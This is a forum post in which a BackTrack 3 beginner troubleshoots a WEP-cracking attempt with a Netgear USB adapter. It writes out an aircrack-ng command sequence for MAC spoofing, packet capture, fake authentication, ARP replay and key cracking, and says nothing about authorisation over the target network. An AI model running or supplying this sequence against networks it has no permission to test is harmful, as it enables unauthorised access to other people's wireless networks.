I'm pretty new with BT3, but I have been slowly doing trial and errors, by reading these forums and watching youtube videos of cracking wep. In my excitement I didn't even bother to check if my USB doggle worked. Being smart now after a frustrating 7+ hours of trying to crack I decided to find out if my USB is compatable.
I checked the compatibility list and I am running a Netgear WG111V2 chipset RTL8187 Driver r8187
My laptop hp pavillion 6700t has a Intel 4965 chipset
Backtrack 3 Final
What I've done
-When I inserted the netgear usb, no lights come on.
-When I go to wireless Assistant it can't detect any networks unless I manually turn on the wireless switch on my laptop to be on. so both detect, but still no lights
-Researched mac80211 versus ieee80211 so I do iwconfig
lo no wireless extensions
eth0 no wireless extensions
wmaster0 no wireless extensions
wlan0 IEEE 802.11g... mode:managed...
Wlan1 802.11 Mode monitored
-Type in airmon-ng stop wlan0, but when i type iwconfig its still shows up, doesn't disable it
Is there any conflict between my intel and my netgear?
BTW this is the youtube video (-xx) hxxp://YYY.youtube.com/watch?v=oHq-cKoYcr8&feature=related
the guy uses the same one as me... lmao I'd thought it would work out of box. But I guess there are too many problems with this. (Its a shame I bought 3)
The reason being when I follow his codes:
After I type in the 7th step I get1)airmon-ng stop wlan0
2)ifconfig wlan0 down
3)macchanger --mac 00:11:22:33:44:55 wlan0
4)airmon-ng start wlan0
6)airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
7)aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
8)aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
9)aircrack-ng -b (bssid) (filename-01.cap)
Sending Authentication Request (open system)
Attack was unsuccessful.Possible reasons...
Is -h suppose to be 00:11:22:33:44:55 or is it suppose to be target client mac?
Thanks a lot! yea its a lot of info, just trying to be as specific as possible.
This is a fairly simply subject and there are lots of tutorials here and on the aircrack-ng site to help you out.
